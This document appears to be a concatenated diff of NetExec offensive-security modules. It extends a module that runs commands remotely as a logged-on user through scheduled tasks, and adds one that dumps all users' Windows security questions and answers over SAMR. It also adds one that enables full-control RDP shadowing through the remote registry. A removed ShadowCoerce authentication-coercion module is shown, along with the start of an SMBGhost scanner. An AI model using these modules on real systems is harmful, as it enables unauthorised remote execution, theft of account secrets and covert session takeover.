"""Tries to resolve a DN to a SID."""
|
||||
result = self.connection.ldap_connection.search(
|
||||
searchBase=self.base_dn,
|
||||
searchFilter=f"(distinguishedName={dn})",
|
||||
attributes=["sAMAccountName", "objectSid"],
|
||||
)
|
||||
|
||||
# Extract the SID of the object
|
||||
sid_raw = bytes(result[0][1][0][1].components[0])
|
||||
return ldaptypes.LDAP_SID(data=sid_raw).formatCanonical()
|
||||
+77
-39
@@ -1,6 +1,7 @@
|
||||
import contextlib
|
||||
import os
|
||||
from time import sleep
|
||||
from datetime import datetime
|
||||
from datetime import datetime, timedelta
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5 import tsch, transport
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
@@ -15,17 +16,29 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
r"""
|
||||
CMD Command to execute
|
||||
USER User to execute command as
|
||||
TASK OPTIONAL: Set a name for the scheduled task name
|
||||
FILE OPTIONAL: Set a name for the command output file
|
||||
LOCATION OPTIONAL: Set a location for the command output file (e.g. '\tmp\')
|
||||
"""
|
||||
self.cmd = self.user = self.time = None
|
||||
self.cmd = self.user = self.task = self.file = self.location = self.time = None
|
||||
if "CMD" in module_options:
|
||||
self.cmd = module_options["CMD"]
|
||||
|
||||
if "USER" in module_options:
|
||||
self.user = module_options["USER"]
|
||||
|
||||
if "TASK" in module_options:
|
||||
self.task = module_options["TASK"]
|
||||
|
||||
if "FILE" in module_options:
|
||||
self.file = module_options["FILE"]
|
||||
|
||||
if "LOCATION" in module_options:
|
||||
self.location = module_options["LOCATION"]
|
||||
|
||||
name = "schtask_as"
|
||||
description = "Remotely execute a scheduled task as a logged on user"
|
||||
supported_protocols = ["smb"]
|
||||
@@ -51,6 +64,9 @@ class NXCModule:
|
||||
connection.domain,
|
||||
self.user,
|
||||
self.cmd,
|
||||
self.file,
|
||||
self.task,
|
||||
self.location,
|
||||
connection.kerberos,
|
||||
connection.aesKey,
|
||||
connection.host,
|
||||
@@ -76,10 +92,14 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
if "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
|
||||
self.logger.fail("Task was not run, seems like the specified user has no active session on the target")
|
||||
with contextlib.suppress(Exception):
|
||||
exec_method.deleteartifact()
|
||||
else:
|
||||
self.logger.fail(f"Failed to execute command: {e}")
|
||||
|
||||
|
||||
class TSCH_EXEC:
|
||||
def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
|
||||
def __init__(self, target, share_name, username, password, domain, user, cmd, file, task, location, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
|
||||
self.__target = target
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
@@ -99,6 +119,9 @@ class TSCH_EXEC:
|
||||
self.logger = logger
|
||||
self.cmd = cmd
|
||||
self.user = user
|
||||
self.file = file
|
||||
self.task = task
|
||||
self.location = location
|
||||
|
||||
if hashes is not None:
|
||||
if hashes.find(":") != -1:
|
||||
@@ -125,6 +148,18 @@ class TSCH_EXEC:
|
||||
)
|
||||
self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
def deleteartifact(self):
|
||||
dce = self.__rpctransport.get_dce_rpc()
|
||||
if self.__doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.set_credentials(*self.__rpctransport.get_credentials())
|
||||
dce.connect()
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
dce.bind(tsch.MSRPC_UUID_TSCHS)
|
||||
self.logger.display(f"Deleting task \\{self.task}")
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task}")
|
||||
dce.disconnect()
|
||||
|
||||
def execute(self, command, output=False):
|
||||
self.__retOutput = output
|
||||
self.execute_handler(command)
|
||||
@@ -133,24 +168,20 @@ class TSCH_EXEC:
|
||||
def output_callback(self, data):
|
||||
self.__outputBuffer = data
|
||||
|
||||
def get_current_date(self):
|
||||
# Get current date and time
|
||||
now = datetime.now()
|
||||
def get_end_boundary(self):
|
||||
# Get current date and time + 5 minutes
|
||||
end_boundary = datetime.now() + timedelta(minutes=5)
|
||||
|
||||
# Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss"
|
||||
return now.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
|
||||
return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
|
||||
|
||||
def gen_xml(self, command, fileless=False):
|
||||
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
|
||||
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
||||
<Triggers>
|
||||
<CalendarTrigger>
|
||||
<StartBoundary>{self.get_current_date()}</StartBoundary>
|
||||
<Enabled>true</Enabled>
|
||||
<ScheduleByDay>
|
||||
<DaysInterval>1</DaysInterval>
|
||||
</ScheduleByDay>
|
||||
</CalendarTrigger>
|
||||
<RegistrationTrigger>
|
||||
<EndBoundary>{self.get_end_boundary()}</EndBoundary>
|
||||
</RegistrationTrigger>
|
||||
</Triggers>
|
||||
<Principals>
|
||||
<Principal id="LocalSystem">
|
||||
@@ -181,7 +212,11 @@ class TSCH_EXEC:
|
||||
<Command>cmd.exe</Command>
|
||||
"""
|
||||
if self.__retOutput:
|
||||
self.__output_filename = f"\\Windows\\Temp\\{gen_random_string(6)}"
|
||||
fileLocation = "\\Windows\\Temp\\" if self.location is None else self.location
|
||||
if self.file is None:
|
||||
self.__output_filename = os.path.join(fileLocation, gen_random_string(6))
|
||||
else:
|
||||
self.__output_filename = os.path.join(fileLocation, self.file)
|
||||
if fileless:
|
||||
local_ip = self.__rpctransport.get_socket().getsockname()[0]
|
||||
argument_xml = f" <Arguments>/C {command} > \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2>&1</Arguments>"
|
||||
@@ -202,55 +237,58 @@ class TSCH_EXEC:
|
||||
|
||||
def execute_handler(self, command, fileless=False):
|
||||
dce = self.__rpctransport.get_dce_rpc()
|
||||
|
||||
if self.__doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
dce.set_credentials(*self.__rpctransport.get_credentials())
|
||||
dce.connect()
|
||||
|
||||
tmpName = gen_random_string(8)
|
||||
|
||||
# Give self.task a random string as name if not already specified
|
||||
self.task = gen_random_string(8) if self.task is None else self.task
|
||||
xml = self.gen_xml(command, fileless)
|
||||
|
||||
self.logger.info(f"Task XML: {xml}")
|
||||
taskCreated = False
|
||||
self.logger.info(f"Creating task \\{tmpName}")
|
||||
self.logger.info(f"Creating task \\{self.task}")
|
||||
try:
|
||||
# windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
dce.bind(tsch.MSRPC_UUID_TSCHS)
|
||||
tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
|
||||
tsch.hSchRpcRegisterTask(dce, f"\\{self.task}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
|
||||
except Exception as e:
|
||||
if "ERROR_NONE_MAPPED" in str(e):
|
||||
self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task")
|
||||
if e.error_code and hex(e.error_code) == "0x80070005":
|
||||
self.logger.fail("Schtask_as: Create schedule task got blocked.")
|
||||
if "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
|
||||
with contextlib.suppress(Exception):
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task}")
|
||||
elif e.error_code and hex(e.error_code) == "0x80070005":
|
||||
self.logger.fail("Create schedule task got blocked.")
|
||||
with contextlib.suppress(Exception):
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task}")
|
||||
elif "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
|
||||
self.logger.fail(f"User {self.user} does not exist in the domain.")
|
||||
with contextlib.suppress(Exception):
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task}")
|
||||
elif "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
|
||||
with contextlib.suppress(Exception):
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task}")
|
||||
elif "ERROR_ALREADY_EXISTS" in str(e):
|
||||
self.logger.fail(f"Create schedule task failed: {e}")
|
||||
else:
|
||||
self.logger.fail(f"Schtask_as: Create schedule task failed: {e}")
|
||||
self.logger.fail(f"Create schedule task failed: {e}")
|
||||
with contextlib.suppress(Exception):
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task}")
|
||||
return
|
||||
else:
|
||||
taskCreated = True
|
||||
|
||||
self.logger.info(f"Running task \\{tmpName}")
|
||||
tsch.hSchRpcRun(dce, f"\\{tmpName}")
|
||||
|
||||
done = False
|
||||
while not done:
|
||||
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}")
|
||||
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}")
|
||||
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task}")
|
||||
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task}")
|
||||
if resp["pLastRuntime"]["wYear"] != 0:
|
||||
done = True
|
||||
else:
|
||||
sleep(2)
|
||||
|
||||
self.logger.info(f"Deleting task \\{tmpName}")
|
||||
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
|
||||
taskCreated = False
|
||||
|
||||
if taskCreated is True:
|
||||
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
|
||||
self.logger.info(f"Deleting task \\{self.task}")
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task}")
|
||||
|
||||
if self.__retOutput:
|
||||
if fileless:
|
||||
|
||||
@@ -0,0 +1,134 @@
|
||||
from impacket.dcerpc.v5 import samr, transport
|
||||
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from json import loads
|
||||
from traceback import format_exc as traceback_format_exc
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by Adamkadaban: @Adamkadaban
|
||||
Based on research from @0gtweet (@gtworek)
|
||||
|
||||
Much of this code was copied from add_computer.py
|
||||
Reference: https://hackback.zip/2024/05/08/Remotely-Dumping-Windows-Security-Questions-With-Impacket.html
|
||||
"""
|
||||
|
||||
name = "security-questions"
|
||||
description = "Gets security questions and answers for users on computer"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module):
|
||||
pass
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.__domain = connection.domain
|
||||
self.__domainNetbios = connection.domain
|
||||
self.__kdcHost = connection.hostname + "." + connection.domain
|
||||
self.__target = self.__kdcHost
|
||||
self.__username = connection.username
|
||||
self.__password = connection.password
|
||||
self.__targetIp = connection.host
|
||||
self.__port = context.smb_server_port
|
||||
self.__aesKey = context.aesKey
|
||||
self.__hashes = context.hash
|
||||
self.__doKerberos = connection.kerberos
|
||||
self.__nthash = ""
|
||||
self.__lmhash = ""
|
||||
|
||||
if context.hash and ":" in context.hash[0]:
|
||||
hashList = context.hash[0].split(":")
|
||||
self.__nthash = hashList[-1]
|
||||
self.__lmhash = hashList[0]
|
||||
elif context.hash and ":" not in context.hash[0]:
|
||||
self.__nthash = context.hash[0]
|
||||
self.__lmhash = "00000000000000000000000000000000"
|
||||
|
||||
self.getSAMRResetInfo(context)
|
||||
|
||||
def getSAMRResetInfo(self, context):
|
||||
string_binding = f"ncacn_np:{self.__targetIp}[\\pipe\\samr]"
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.set_dport(445)
|
||||
rpc_transport.setRemoteHost(self.__targetIp)
|
||||
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||
self.__nthash, self.__aesKey)
|
||||
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
try:
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
|
||||
# obtain server handle for samr connection
|
||||
resp = samr.hSamrConnect(dce)
|
||||
server_handle = resp["ServerHandle"]
|
||||
|
||||
resp = samr.hSamrEnumerateDomainsInSamServer(dce, server_handle)
|
||||
domains = resp["Buffer"]["Buffer"]
|
||||
|
||||
resp = samr.hSamrLookupDomainInSamServer(dce, server_handle, domains[0]["Name"])
|
||||
|
||||
# obtain domain handle for samr connection
|
||||
resp = samr.hSamrOpenDomain(dce, serverHandle=server_handle, domainId=resp["DomainId"])
|
||||
domain_handle = resp["DomainHandle"]
|
||||
|
||||
status = STATUS_MORE_ENTRIES
|
||||
enumeration_context = 0
|
||||
|
||||
# try to iterate through users in domain entries for connection
|
||||
while status == STATUS_MORE_ENTRIES:
|
||||
try:
|
||||
resp = samr.hSamrEnumerateUsersInDomain(dce, domain_handle, enumerationContext=enumeration_context)
|
||||
except DCERPCException as e:
|
||||
if str(e).find("STATUS_MORE_ENTRIES") < 0:
|
||||
raise
|
||||
resp = e.get_packet()
|
||||
|
||||
for user in resp["Buffer"]["Buffer"]:
|
||||
try:
|
||||
context.log.info(f"Querying security questions for User: {user['Name']}")
|
||||
# request SAMR ID 30
|
||||
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6
|
||||
r = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user["RelativeId"])
|
||||
info = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserResetInformation)
|
||||
|
||||
reset_data = info["Buffer"]["Reset"]["ResetData"]
|
||||
if reset_data == b"":
|
||||
continue
|
||||
reset_data = loads(reset_data)
|
||||
questions = reset_data["questions"]
|
||||
|
||||
if len(questions) == 0:
|
||||
context.log.highlight(f"User {user['Name']} has no security questions")
|
||||
else:
|
||||
for qna in questions:
|
||||
question = qna["question"]
|
||||
answer = qna["answer"]
|
||||
context.log.highlight(f"{user['Name']} - {question}: {answer}")
|
||||
|
||||
samr.hSamrCloseHandle(dce, r["UserHandle"])
|
||||
except samr.DCERPCException as e:
|
||||
if "STATUS_INVALID_INFO_CLASS" in str(e):
|
||||
context.log.debug(f"Failed to query security questions for User: {user['Name']}: {e!s}")
|
||||
continue
|
||||
else:
|
||||
context.log.fail(f"Failed to query security questions for User: {user['Name']}: {e!s}")
|
||||
context.log.debug(traceback_format_exc())
|
||||
enumeration_context = resp["EnumerationContext"]
|
||||
status = resp["ErrorCode"]
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error: {e}")
|
||||
context.log.debug(traceback_format_exc())
|
||||
|
||||
finally:
|
||||
if domain_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, domain_handle)
|
||||
if server_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, server_handle)
|
||||
dce.disconnect()
|
||||
+2
-259
@@ -1,22 +1,6 @@
|
||||
import time
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL
|
||||
from impacket.dcerpc.v5.dtypes import BOOL, LONG, WSTR, LPWSTR
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5.rpcrt import (
|
||||
RPC_C_AUTHN_WINNT,
|
||||
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
RPC_C_AUTHN_GSS_NEGOTIATE,
|
||||
)
|
||||
from impacket.smbconnection import SessionError
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "shadowcoerce"
|
||||
description = "Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam"
|
||||
description = "[REMOVED] Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
@@ -35,245 +19,4 @@ class NXCModule:
|
||||
self.ipsc = bool(module_options["IPSC"])
|
||||
|
||||
def on_login(self, context, connection):
|
||||
c = CoerceAuth()
|
||||
dce = c.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
aesKey=connection.aesKey,
|
||||
target=connection.host if not connection.kerberos else connection.remoteName,
|
||||
pipe="FssagentRpc",
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
remoteHost=connection.host,
|
||||
)
|
||||
|
||||
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @Shutdown
|
||||
if dce == 1:
|
||||
context.log.debug("First try failed. Creating another dce connection...")
|
||||
# Sleeping mandatory for second try
|
||||
time.sleep(2)
|
||||
dce = c.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
aesKey=connection.aesKey,
|
||||
target=connection.host if not connection.kerberos else connection.remoteName,
|
||||
pipe="FssagentRpc",
|
||||
remoteHost=connection.host,
|
||||
)
|
||||
|
||||
if self.ipsc:
|
||||
context.log.debug("ipsc = %s", self.ipsc)
|
||||
context.log.debug("Using IsPathShadowCopied!")
|
||||
result = c.IsPathShadowCopied(dce, self.listener)
|
||||
else:
|
||||
context.log.debug("ipsc = %s", self.ipsc)
|
||||
context.log.debug("Using the default IsPathSupported")
|
||||
result = c.IsPathSupported(dce, self.listener)
|
||||
|
||||
try:
|
||||
dce.disconnect()
|
||||
except SessionError as e:
|
||||
context.log.debug(f"Error disconnecting DCE session: {e}")
|
||||
|
||||
if result:
|
||||
context.log.highlight("VULNERABLE")
|
||||
context.log.highlight("Next step: https://github.com/ShutdownRepo/ShadowCoerce")
|
||||
|
||||
else:
|
||||
context.log.debug("Target not vulnerable to ShadowCoerce")
|
||||
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__(self):
|
||||
key = self.error_code
|
||||
error_messages = system_errors.ERROR_MESSAGES
|
||||
error_messages.update(MSFSRVP_ERROR_CODES)
|
||||
if key in error_messages:
|
||||
error_msg_short = error_messages[key][0]
|
||||
error_msg_verbose = error_messages[key][1]
|
||||
return f"SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
|
||||
else:
|
||||
return f"SessionError: unknown error code: 0x{self.error_code:x}"
|
||||
|
||||
|
||||
################################################################################
|
||||
# Error Codes
|
||||
################################################################################
|
||||
MSFSRVP_ERROR_CODES = {
|
||||
0x80070005: (
|
||||
"E_ACCESSDENIED",
|
||||
"The caller does not have the permissions to perform the operation",
|
||||
),
|
||||
0x80070057: ("E_INVALIDARG", "One or more arguments are invalid."),
|
||||
0x80042301: (
|
||||
"FSRVP_E_BAD_STATE",
|
||||
"A method call was invalid because of the state of the server.",
|
||||
),
|
||||
0x80042316: (
|
||||
"FSRVP_E_SHADOW_COPY_SET_IN_PROGRESS",
|
||||
"A call was made to either SetContext (Opnum 1) or StartShadowCopySet (Opnum 2) while the creation of another shadow copy set is in progress.",
|
||||
),
|
||||
0x8004230C: (
|
||||
"FSRVP_E_NOT_SUPPORTED",
|
||||
"The file store that contains the share to be shadow copied is not supported by the server.",
|
||||
),
|
||||
0x00000102: (
|
||||
"FSRVP_E_WAIT_TIMEOUT",
|
||||
"The wait for a shadow copy commit or expose operation has timed out.",
|
||||
),
|
||||
0xFFFFFFFF: (
|
||||
"FSRVP_E_WAIT_FAILED",
|
||||
"The wait for a shadow copy commit expose operation has failed.",
|
||||
),
|
||||
0x8004230D: (
|
||||
"FSRVP_E_OBJECT_ALREADY_EXISTS",
|
||||
"The specified object already exists.",
|
||||
),
|
||||
0x80042308: ("FSRVP_E_OBJECT_NOT_FOUND", "The specified object does not exist."),
|
||||
0x8004231B: (
|
||||
"FSRVP_E_UNSUPPORTED_CONTEXT",
|
||||
"The specified context value is invalid.",
|
||||
),
|
||||
0x80042501: (
|
||||
"FSRVP_E_SHADOWCOPYSET_ID_MISMATCH",
|
||||
"The provided ShadowCopySetId does not exist.",
|
||||
),
|
||||
}
|
||||
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
class IsPathSupported(NDRCALL):
|
||||
opnum = 8
|
||||
structure = (("ShareName", WSTR),)
|
||||
|
||||
|
||||
class IsPathSupportedResponse(NDRCALL):
|
||||
structure = (
|
||||
("SupportedByThisProvider", BOOL),
|
||||
("OwnerMachineName", LPWSTR),
|
||||
)
|
||||
|
||||
|
||||
class IsPathShadowCopied(NDRCALL):
|
||||
opnum = 9
|
||||
structure = (("ShareName", WSTR),)
|
||||
|
||||
|
||||
class IsPathShadowCopiedResponse(NDRCALL):
|
||||
structure = (
|
||||
("ShadowCopyPresent", BOOL),
|
||||
("ShadowCopyCompatibility", LONG),
|
||||
)
|
||||
|
||||
|
||||
OPNUMS = {
|
||||
8: (IsPathSupported, IsPathSupportedResponse),
|
||||
9: (IsPathShadowCopied, IsPathShadowCopiedResponse),
|
||||
}
|
||||
|
||||
|
||||
class CoerceAuth:
|
||||
def connect(
|
||||
self,
|
||||
username,
|
||||
password,
|
||||
domain,
|
||||
lmhash,
|
||||
nthash,
|
||||
aesKey,
|
||||
target,
|
||||
pipe,
|
||||
doKerberos,
|
||||
dcHost,
|
||||
remoteHost,
|
||||
):
|
||||
binding_params = {
|
||||
"FssagentRpc": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\FssagentRpc]" % target,
|
||||
"UUID": ("a8e0653c-2744-4389-a61d-7373df8b2292", "1.0"),
|
||||
},
|
||||
}
|
||||
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
|
||||
if hasattr(rpctransport, "set_credentials"):
|
||||
rpctransport.set_credentials(
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
aesKey=aesKey,
|
||||
)
|
||||
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.set_credentials(*rpctransport.get_credentials())
|
||||
dce.set_auth_type(RPC_C_AUTHN_WINNT)
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
nxc_logger.info(f"Connecting to {binding_params[pipe]['stringBinding']}")
|
||||
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @ShutdownRepo
|
||||
if str(e).find("STATUS_PIPE_NOT_AVAILABLE") >= 0:
|
||||
dce.disconnect()
|
||||
return 1
|
||||
|
||||
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
|
||||
|
||||
nxc_logger.info("Connected!")
|
||||
nxc_logger.info(f"Binding to {binding_params[pipe]['UUID'][0]}")
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(binding_params[pipe]["UUID"]))
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
|
||||
|
||||
nxc_logger.info("Successfully bound!")
|
||||
return dce
|
||||
|
||||
def IsPathShadowCopied(self, dce, listener):
|
||||
nxc_logger.debug("Sending IsPathShadowCopied!")
|
||||
try:
|
||||
request = IsPathShadowCopied()
|
||||
# only NETLOGON and SYSVOL were detected working here
|
||||
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
|
||||
request["ShareName"] = f"\\\\{listener}\\NETLOGON\x00"
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
nxc_logger.debug("Something went wrong, check error status => %s", str(e))
|
||||
nxc_logger.debug("Attack may of may not have worked, check your listener...")
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
def IsPathSupported(self, dce, listener):
|
||||
nxc_logger.debug("Sending IsPathSupported!")
|
||||
try:
|
||||
request = IsPathSupported()
|
||||
# only NETLOGON and SYSVOL were detected working here
|
||||
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
|
||||
request["ShareName"] = f"\\\\{listener}\\NETLOGON\x00"
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
nxc_logger.debug("Something went wrong, check error status => %s", str(e))
|
||||
nxc_logger.debug("Attack may of may not have worked, check your listener...")
|
||||
return False
|
||||
|
||||
return True
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
@@ -0,0 +1,83 @@
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
|
||||
# Module by @Defte_
|
||||
# Enables or disables shadow RDP
|
||||
class NXCModule:
|
||||
name = "shadowrdp"
|
||||
description = "Enables or disables shadow RDP"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.action = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
|
||||
if "ACTION" not in module_options:
|
||||
context.log.fail("ACTION option not specified!")
|
||||
exit(1)
|
||||
|
||||
if module_options["ACTION"].lower() not in ["enable", "disable"]:
|
||||
context.log.fail("ACTION must be either enable, disable or query")
|
||||
exit(1)
|
||||
self.action = module_options["ACTION"].lower()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
keyHandle = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
"Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\\"
|
||||
)["phkResult"]
|
||||
|
||||
# Checks if the key already exists or not
|
||||
try:
|
||||
rrp.hBaseRegQueryValue(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
keyHandle,
|
||||
"Shadow\x00"
|
||||
)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" in str(e):
|
||||
context.log.debug("here")
|
||||
ans = rrp.hBaseRegCreateKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
keyHandle,
|
||||
"Shadow\x00")
|
||||
|
||||
# Disable remote UAC
|
||||
if self.action == "disable":
|
||||
rrp.hBaseRegSetValue(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
keyHandle,
|
||||
"Shadow\x00",
|
||||
rrp.REG_DWORD,
|
||||
0
|
||||
)
|
||||
context.log.highlight("Shadow RDP disabled")
|
||||
|
||||
# Enable remote UAC
|
||||
if self.action == "enable":
|
||||
rrp.hBaseRegSetValue(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
keyHandle,
|
||||
"Shadow\x00",
|
||||
rrp.REG_DWORD,
|
||||
2
|
||||
)
|
||||
context.log.highlight("Shadow RDP with full access enabled")
|
||||
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error {e}")
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
@@ -0,0 +1,58 @@
|
||||
# everything is comming from https://github.com/ly4k/SMBGhost
|
||||
# credit to @ly4k_
|
||||
# module by : @r4vanan
|
||||
import socket
|
||||
import struct
|
||||
|
||||
# Constants
|
||||
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
|
||||
|
||||
# SMBGhost Packet
|
||||
